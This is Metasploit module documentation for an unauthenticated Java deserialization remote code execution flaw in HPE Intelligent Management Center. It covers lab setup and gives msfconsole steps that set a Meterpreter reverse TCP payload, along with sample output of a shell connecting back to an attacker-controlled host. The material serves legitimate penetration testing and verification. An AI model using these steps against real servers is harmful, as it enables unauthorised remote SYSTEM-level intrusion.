## Vulnerable Application

  The module exploits a RCE bug on vulnerable installations of Hewlett Packard Enterprise Intelligent Management Center. Authentication is not required.

  The specific flaw exists within the `WebDMDebugServlet`, which listens on TCP ports `8080` and `8443` by default. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute arbitrary code in the context of SYSTEM.

  On a Windows machine, download and install a trial version of HPE IMC from here:

  [https://h10145.www1.hpe.com/downloads/DownloadSoftware.aspx?SoftwareReleaseUId=19066&ProductNumber=JG748AAE&lang=&cc=&prodSeriesId=&SaidNumber=](https://h10145.www1.hpe.com/downloads/DownloadSoftware.aspx?SoftwareReleaseUId=19066&ProductNumber=JG748AAE&lang=&cc=&prodSeriesId=&SaidNumber=)

  You need .Net 2.0, but that's the only dependency.

  Make sure to follow any instructions on setting up SSL correctly (certain cipher suites does not play well with the software). These instructions may vary depending on the win version you set it up on. On a Windows Server 2012 R2 I had to disable certain cipher suites. The exploit has been tested on Windows Server 2012 R2 and Windows Server 2008 R2.

## Verification Steps

  A successful check of the exploit will look like this:

  1. Install the application
  2. Start msfconsole
  3. Do: ```use exploit/windows/http/hp_imc_java_deserialize```
  4. Do: ```set RHOSTS <RHOSTS>```
  5. Do: ```set PAYLOAD windows/meterpreter/reverse_tcp```
  6. Do: ```set LHOST <LHOST>```
  7. Do: ```check```
  8. **Verify** that you are seeing `The target is vulnerable.` in console.
  9. Do: ```exploit```
  10. You should get a meterpreter shell.

## Options

### TARGETURI

  Path to the IMC application, the default location is `/imc`.

### SSL

  As set up by default, IMC is vulnerable both over port `8080` and `8443` (SSL). Set this parameter to `true` and change `RPORT` if you'd like to exploit over SSL.

### RPORT

  Set this to the appropriate port, `8080` (default) or `8443`.

## Scenarios

All versions below 7.3 E0504P2 should be vulnerable remotely.

### HPE IMC 7.3 E0504P2

  Here's showing the expected output:

  ```
  msf > exploit

  [*] Started reverse TCP handler on 10.0.0.1:4444 
  [*] Sending serialized Java object (11290 bytes)...
  [*] Sending stage (179779 bytes) to 10.0.0.2
  [*] Meterpreter session 2 opened (10.0.0.1:4444 -> 10.0.0.2:49284) at 2018-11-17 09:43:07 +0100

  meterpreter > sysinfo 
  Computer        : SERVER_NAME
  OS              : Windows 2008 R2 (Build 7601, Service Pack 1).
  Architecture    : x64
  System Language : en_US
  Domain          : WORKGROUP
  Logged On Users : 1
  Meterpreter     : x86/windows
  meterpreter > 
  ```
